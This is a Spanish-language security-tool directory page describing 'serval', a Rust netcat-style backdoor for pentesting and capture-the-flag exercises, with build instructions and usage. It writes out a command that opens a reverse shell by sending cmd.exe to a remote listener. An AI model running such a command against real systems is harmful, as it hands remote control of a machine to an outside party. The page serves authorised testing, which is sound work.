Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
serval — Una puerta trasera estilo Netcat para pruebas de penetración y ejercicios de pentest. | Kitploit
Herramientas/GitHubGitHub/tgadola/serval
Generación de PayloadsPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubtgadola/serval

serval

Una puerta trasera estilo Netcat para pruebas de penetración y ejercicios de pentest.

Ver Repositorio
506hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Un backdoor estilo Netcat para pentesting y desafíos de pentest

Serval es un binario ligero y fácil de usar para generar shells reversos y vinculados (bind shells) para pentests o ejercicios de pentesting. Serval es multiplataforma y se puede compilar tanto para Windows de 32 y 64 bits como para Linux de 32 y 64 bits. Nota: Debido a la flexibilidad de Rust, es posible compilar para otras plataformas (como ARM), pero no lo he probado en otras plataformas.

¿Por qué?

Desarrollé Serval para eliminar mi dependencia de netcat durante los desafíos de HacktheBox, ya que puede ser molesto encontrar binarios de netcat para Windows (especialmente con la opción -e) y es aún más difícil encontrar un binario de una fuente confiable.

Características

  • ¡Compilable cruzadamente! Se puede construir para Linux o Windows
  • Historial de línea de comandos. Las flechas Arriba y Abajo desplazan el historial de comandos.
  • ¡Búsqueda en el historial de línea de comandos! Ctrl+r para buscar en reversa en tu historial de comandos.
  • Edición de línea. ¡Las teclas Retroceso y flechas izquierda/derecha funcionan!
  • Interoperabilidad. ¿Solo tienes netcat en tu objetivo? ¡No hay problema! El listener de Serval aún puede capturar el shell y brindarte las funciones avanzadas.

Instalación

Usuarios de Rust (Compilar desde el código fuente)

Descarga el código fuente desde GitHub

git clone https://github.com/tgadola/serval.git && cd serval-master

*Opcional: Edita el archivo de compilación en .cargo/config para reescribir tu ruta de compilación.

Construye el binario para tu plataforma actual.

cargo build --release

*Nota: v1.1.0 requiere Rust nightly

Puedes construir para otras plataformas usando

cargo build --release --target <target-triple>

Otros

Si eres una persona particularmente confiada, puedes descargar los binarios precompilados aquí.

Uso

Por defecto, Serval escucha o se conecta a un puerto y redirige la entrada y salida estándar a esa conexión. La bandera -e inicia un proceso y redirige su entrada y salida estándar a través de la red.

Iniciar un listener

Serval escucha en todas las interfaces.

¡Usa la bandera -H para activar la edición de línea y las funciones de historial de comandos!

serval -l 4400 -H

Generar un shell reverso

serval.exe <ip de escucha> <puerto de escucha> -q -e cmd.exe

????

Beneficio

Agradecimientos especiales

Un gran agradecimiento a @kkawakam-transferwise y su crate Rustyline, que literalmente hace todo el trabajo pesado. ¡Echa un vistazo a Rustyline!

¡Gracias a los creadores y contribuyentes de Clap! Echa un vistazo a Clap.

¡Gracias a los creadores y contribuyentes de Anyhow! Echa un vistazo a Anyhow. +1 por el gran nombre del crate.

Gracias a @jaynus por todos sus consejos sobre Rust

Licencia

Apache 2.0. Consulta el archivo de licencia para más información.

Descargar herramienta